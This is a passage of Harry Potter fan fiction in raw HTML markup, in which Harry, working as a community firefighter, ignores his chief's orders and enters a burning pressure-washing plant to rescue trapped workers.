Harry, Chris, and Ste started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Why? What would they do?&#8221; Kat asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte looked at her, &#8220;Kat you&#8217;ve seen them in school&#8230; there like my Uncle Fred\nand George.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Are they that bad?&#8221; Harry asked with shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well you&#8217;d have to see, I never saw how my uncles were in school, but my dad\nsaid that if Nick had another one like him then he would be like my\nuncles.&nbsp; Then Brandon came in the picture.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry&#8217;s face softened, &#8220;Believe me I don&#8217;t think those to are anywhere near as\nbad as Fred and George.&#8221; Harry said in a matter-of-fact tone, &#8220;They are\nirreplaceable.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte looked at Harry, the face he had on as he said the last sentence, &#8220;Could\nyou tell me something about my uncles? I don&#8217;t get to see them that much and it\nwould be cool to know how they were when they were our age.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Which ones the perfectionist, or the jokesters?&#8221; Hermione said comeing in from\nthe kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Fred and George&#8221; Harry said taking his lunch from Hermione, &#8220;Thank you, love.&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Any time.&#8221; Hermione sat one the floor next to Harry, as he was about to tell\nhis story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;We-&#8220; BEEP, BEEP, BEEP, BEEP!! Harry&#8217;s fire pager went off.&nbsp; &#8220;Bloody Hell!\nAlways on my break!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Dad I&#8217;m comeing.&#8221; Chris said getting up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Chris no.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Chris, just miss this one, there&#8217;ll be more.&#8221; Ste said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat looked at the three she leaned into Ste&#8217;s ear and whispered, &#8220;What&#8217;s this\nall about?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry&#8217;s a community firefighter, and Chris is starting his training.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat just nodded, Harry looked at his son, &#8220;Chris, just stay here, I really need\nto get there.&nbsp; It&#8217;s not like there gonna let you do anything anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;But dad&#8230; Just let me come, I can just see what kind of stuff I&#8217;m up against&#8230;\nplease.&#8221;&nbsp; Harry looked at his son.&nbsp; As much as he hated it he nodded,\nChris jumped from his seat and ran to Harry&#8217;s car. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry got up and looked at Hermione; if looks could kill Harry would have been\ndecapitated by now, &#8220;Mione, he has a point seeing what it&#8217;s like could help his\nstandard&#8217;s.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione didn&#8217;t say anything, she got up and walked over to him, &#8220;If he goes\nanywhere near that fire it&#8217;s gonna be your head.&#8221; And then she walked away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry stood there and looked at the remaining two teenagers that were still\nsanding there.&nbsp; Then he left he just waved good-bye and walked out the\ndoor.&nbsp; After Harry pulled out of the driveway Ste and Kat sat there and\nlooked at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;So what ya wanna do?&#8221; Ste asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I donno, wanna see if Mrs. Potter need&#8217;s any help with anything?&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I guess so.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte got up out of his chair and helped Kat up, and they walked into the kitchen\nto see if Hermione needed any help.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~&#8217;*&#8217;~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry was driving down town towards the fire station, He had his fire pager on\nand listing to the information it was giving out, &#8220;Structure fire on little\nstreet possible occupants inside building.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry picked up the pace a bit, &#8220;Damn, I&#8217;ll never make it to the station on\ntime.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What are you gonna do then?&#8221;&nbsp; Chris asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well were just gonna have to drive, I have my gear in the trunk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Cool.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry drove straight to the fire, it was a large Pressure washing company down\nfrom where Harry worked.&nbsp; When Harry finally got there the smoke was thick\nand the heat from the fire was unbearable.&nbsp; Harry parked away from the\ncompany; he went in the back and took his gear out of the trunk, he put it all\non and went to where the trucks were starting to put the water on the\nfire.&nbsp; Harry walked over to his station and found the Fire chief, Paul\nFord.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Paul!&#8221; Harry yelled over to him, &#8220;Paul!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nPaul turned around and saw Harry, &#8220;Potter! Get over here!&#8221; He yelled</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked over to Paul while tying to put all of his gear on, &#8220;What&#8217;s the\nproblem here?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;There was a leek in the pressure washer&#8230;soap and chemicals spread all over the\nfloor in the basement.&nbsp; There&#8217;s three men still inside, we don&#8217;t know how\nto get in there and get them out.&#8221; Paul explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry looked at the Building; there really was no way to get in the building,\nunless.&nbsp; Harry squinted his eyes and tried to see threw the smoke.&nbsp;\nSlowly he walked towards the fire, Paul was talking to another fire fighter\nJamie Sanko. He saw Harry walking towards the fire and yelled, &#8220;Potter! Potter!\nWhat the bloody hell do you think your doing?&#8221; He yelled.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry didn&#8217;t answer he just kept walking; as he walked he could feel the heat\nstart to bear down on his body.&nbsp; Getting just a degree hotter with each\nstep he took quickly walked back to the truck and grabbed an air pack.&nbsp;\nChris was sitting in the car watching the whole thing; the only thought that\ncame to his mind was &#8216;What the hell is he doing?&#8217;&nbsp; Chris got out of the\ncar and ran over to the truck that Harry was just at.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What&#8217;s he doing?!&#8221; Chris yelled to Paul over the trucks and people talking<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I don&#8217;t know Chris, but it looks like we&#8217;re going to find out.&#8221; Paul said</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Sir should we send some men to help Potter&#8230; Just in case?&#8221; Jamie asked<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No Sanko,\nwe&#8217;ll see what Potter is going to do and then we&#8217;ll react on his actions.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry kept walking; he had one simple thing on his mind&#8230; Get those people\nout.&nbsp; By now the sweat had totally drenched his clothing underneath his\ngear and sweat running down his face and dripping off his nose and edges of his\nface.&nbsp; Finally reaching his destination, there was a small window that\nleads to the basement.&nbsp; Harry wanted to get close enough to see if he\ncould fit, and he could.&nbsp; He grabbed his walkie-talkie and turned it on,\n&#8220;Chief.&#8221; He waited a few seconds<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Potter&#8230; What in gods name do you think your doing get the hell out of there.\nNOW!&#8221; Paul answered back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Paul listen to me&#8230;&nbsp; get your hoses and bout three strong men and have\nthem come to me&#8230; were gonna get these men out of here.&#8221; Harry said.<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Potter GET back here&#8230;&#8221; He was cut off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Do u want these people to die or do you want to do your job and save their\nlives?&#8221; Harry was stern and yet calm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nPaul was so mad he wanted to smash the walkie-talkie.&nbsp; He took a few deep\nbreaths and talked back into the talkie, &#8220;Pott- Harry, get out of there, those\nfumes are toxic they can kill you if you get to many of them in your system&#8230;&#8221;\nHe trailed of for a moment then he hard Harry talk again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Paul, if you don&#8217;t want to listen then I&#8217;ll get those men out my self. I have\nan air pack I can handle this&#8221; Harry had made up his mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Damn that man!&#8221; Paul said not talking into the walkie-talkie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What? What&#8217;s the matter?&#8221; Chris asked getting a little freaked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry can never take the orders I give to him&#8230; always has to do things his own\nway.&#8221; Paul said, &#8220;Sanko, go get Edmunds and Kearney&#8230; then I need you three to\ngo the spot that Potter is at&#8230;I think it&#8217;s over at that corner&#8230; By those\ndoors.&#8221; Paul said, &#8220;Keep your walkie-talkies on and listen for him, he&#8217;ll guide\nyou to where he is.&#8221; Jamie did as he was told and ran to find the men that Paul\nasked for.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry kneeled down by the window and tried to see inside.&nbsp; As far as he\nknew this lead to the basement, he was still waiting for the three men that\nPaul ordered to come, but that was ten minuets ago.&nbsp; He made his decision;\nhe was going to go in. he took one last look around the area to see if any one\nelse was comeing, when he saw no one he broke the glass with his elbow and\ntried to slip threw, unfortunately he gear was getting snagged on the edged\nglass and refused him passage.&nbsp; Siding the fact that he didn&#8217;t have any\nequipment to get him out of this predicament he had a choice, call for help\nthat he was still waiting on or break the glass w/ his bear hands.&nbsp; He was\nstruggling with the glass and it cut him under his gloves, the heat was wearing\nhim down he was struggling.<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Potter where&#8217;s your location?&#8221; A voice said.&nbsp; Harry looked around and\nagain the voice said, &#8220;Potter where are you located?&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry then knew who it was; it was his walkie-talkie.&nbsp; He reached for it\nand talked, &#8220;Paul where the hell are your men?&#8221; Harry said still struggling to\nget free; he could feel the fire starting to surround him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Dad, Paul said he was gonna come in for you. Stay where you are so he can see\nyour location.&nbsp;&nbsp; The smoke is getting thick so he needs to be able to\nsee you.&#8221; Chris said, &#8220;He said something about explosions somewhere in the\nnorth part of the building.&#8221;&nbsp; Just then an explosion erupted from above\nHarry&#8217;s location.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8216;Damn it!&#8217; Harry said to himself.&nbsp; He looked around in the hole to see if\nhe could grab something to pull him threw the window.&nbsp; He saw nothing and\nhe only had one other option in his mind. He shut off his walkie-talkie and\nsaid a silent prayer to himself&#8230; he slid threw his coat and into the basement\nleaving his breathing equipment and left a flash light on where his coat was\nand proceeded on.&nbsp; He kept his head down and put his arm over his forehead\nso if anything fell it wouldn&#8217;t hit his face.&nbsp; He walked slowly and tried\nto look threw the small rise of smoke, apparently the fire hadn&#8217;t spread threw\nthis part yet.&nbsp; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">He walked back to\nhis jacket and ripped it threw the window and threw it back on putting all his\nbreathing gear back on.&nbsp; He reached to the floor and grabbed his helmet\n(Which fell when he went threw the window) and put it back on.&nbsp; He turned\non the other flashlight that was clipped to his jacket and looked around in the\nsmoke.&nbsp; For a brief moment he thought about grabbing his wand and putting\na breathing charm on himself so he wouldn&#8217;t choke from the smoke in his lungs\nthat the air bag wasn&#8217;t getting, He reached for his wand and cursed himself.&nbsp;\nIt was still in the car, he was so busy trying to get there as fast as he could\nand he never thought to take it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe walked into the basement deeper and deeper searching for some one.&nbsp; As\nhe walked he could smell the chemicals absorbing into his lungs.&nbsp; How\ncould he be so stupid as too go into a burning building with his wand!&nbsp; He\nwas about to turn around when he heard a voice, &#8220;Help!&#8221; Coughing, &#8220;Someone help\nus!&#8221; It was a man. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked towards the voice; he turned on his walkie-talkie on and tried to\ncontact Paul, &#8220;Paul?&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;HARRY WHERE THE HELL ARE YOU!&#8221; He yelled threw the walkie-talkie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;m in the building&#8230;&#8221; He trailed off, &#8220;I need back up&#8230;I think I found the\nthree workers.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;WHAT THE HELL ARE YOU DOING IN THE BUILDING WITHOUT THE PRORPER EQUPTMENT?&#8221;\nPaul yelled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I donno stupid move&#8230;yea I kno&#8230;but hurry get some people over to where I was.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;That&#8217;s the problem...WE DON&#8221;T KNOW WHERE YOUR LOCATION IS!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8216;Shit!&#8217; Harry said to himself, &#8220;My flash light is on out there they should see\nwhere I was.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hurry up Potter!&#8221; Just then another explosion went off some where from above\nhim.<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked over to the window and put his flashlight out a little farther\njust to help them.&nbsp; He walked back over to the spot where he heard the\nvoices. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Now it was twice\nas bad since he didn&#8217;t have a flashlight and breathing equipment and more smoke\nwas starting to come into the small room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Can you hear me?&#8221; He yelled hoping he could get and answer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Help!&#8221; A voice coughed out, &#8220;Please Help!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Where are you?&#8221; He walked a little bit farther.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;By the pressure washer&#8221; Harry ran over instantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen he got there he saw the man, he wasn&#8217;t by the pressure washer he was under\nit!&nbsp; Harry walked over trying not to hit or bump anything to fall or cause\nsomething to fall.&nbsp; He got over to the man and knelt down next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;How did this happen?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;It&#8217;s crushing my body!&#8221; He cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok im hear to help but you have to tell me how this happened!&#8221; Harry started\nto try and lift the huge piece of machinery.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;It&#8217;s my first day&#8230; I was working&#8230; and&#8230; there was a loud explosion a floor up\nand I&#8230; I&#8230; I don&#8217;t know how it happened&#8230; but please get me&#8230;ou&#8230;out&#8230; of here!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok, Ok, hold on more help is comeing&#8221; Harry knew he couldn&#8217;t just leave this\nman here; he had to do something, &#8220;what&#8217;s your name?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mark&#8221; He said dryly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry nodded, &#8220;Ok Mark, I&#8217;m gonna need our help to get you out of this\nthing.&#8221;&nbsp; Mark nodded, &#8220;Ok now I&#8217;m going to lift this, or at least try to\nand I need you to help me ok?&#8221; Mark nodded again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry then lifted the machine a bit and Mark slid his figures under it and\ntried to lift the machine.&nbsp; It was heavy but they got it to where Mark&#8217;s\nArms were almost straight.&nbsp; Harry then instructed him to try and slide out\nfrom under the machine.&nbsp; Mark did as he was told and tried to move but as\nhe started to slide he let out and agonizing pain and stopped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 